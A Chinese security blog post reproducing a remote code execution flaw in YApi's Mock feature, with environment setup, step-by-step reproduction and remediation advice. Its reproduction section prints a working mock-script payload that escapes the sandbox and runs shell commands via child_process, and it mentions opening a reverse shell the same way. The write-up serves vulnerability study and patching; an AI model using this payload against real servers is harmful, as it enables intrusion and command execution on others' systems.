YApi Mock功能远程代码执行漏洞复现

admin 2021年7月16日01:01:50评论156 views字数 1216阅读4分3秒阅读模式


上方蓝色字体关注我们,一起学安全!
作者:蔷薇@Timeline Sec
本文字数:690
阅读时长:3~4min
声明:请勿用作违法用途,否则后果自负


0x01 简介
YApi 是高效、易用、功能强大的 api 管理平台是国内某旅行网站的大前端技术中心开源项目,使用mock数据/脚本作为中间交互层,为前端后台开发与测试人员提供更优雅的接口管理服务,该系统被国内较多知名互联网企业所采用。


0x02 漏洞概述
近日,网络上爆出 YApi 的远程代码执行 0day 漏洞,漏洞等级为高危,且正被广泛利用。攻击者通过注册用户后,即可通过Mock功能远程执行任意代码。

因为大量用户使用YApi的默认配置并允许从外部网络访问YApi服务,导致攻击者注册用户后,即可通过 Mock功能远程执行任意代码。


0x03 影响版本
YApi7月7日前版本


0x04 环境搭建

docker部署:

https://github.com/Ryan-Miao/docker-yapi


0x05 漏洞复现

1.注册用户


YApi Mock功能远程代码执行漏洞复现


2.添加项目


YApi Mock功能远程代码执行漏洞复现


访问/add-project


YApi Mock功能远程代码执行漏洞复现


3.添加接口


YApi Mock功能远程代码执行漏洞复现


YApi Mock功能远程代码执行漏洞复现


4.设置mock

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("ifconfig").toString()


YApi Mock功能远程代码执行漏洞复现


5.查看Mock地址


YApi Mock功能远程代码执行漏洞复现


6.访问Mock地址
命令成功执行:

YApi Mock功能远程代码执行漏洞复现


7.同理,也可利用命令反弹shell


YApi Mock功能远程代码执行漏洞复现


0x06 修复方式


1、关闭YApi用户注册功能;修改完成后,重启YApi服务
"config.json"添加"closeRegister:true"配置项:{  "port": "*****",  "closeRegister":true}

2、暂时关闭mock功能(需要修改YApi代码)
在"config.json"中添加"mock: false";
"exts/yapi-plugin-andvanced-mock/server.js"中找到
if (caseData&&caseData.case_enable{...}

在其上方添加
if(!yapi.WEBCONFIG.mock) {return false;}

3、白名单限制;
安全组配置白名单访问,或者使用NGINX进行代理,限制白名单IP访问;

4、检查用户列表,删除恶意不明用户;并删除恶意不明用户创建的接口及mock脚本。


YApi Mock功能远程代码执行漏洞复现

YApi Mock功能远程代码执行漏洞复现
阅读原文看更多复现文章
Timeline Sec 团队
安全路上,与你并肩前行





本文始发于微信公众号(Timeline Sec):YApi Mock功能远程代码执行漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年7月16日01:01:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   YApi Mock功能远程代码执行漏洞复现http://cn-sec.com/archives/424938.html

发表评论

匿名网友 填写信息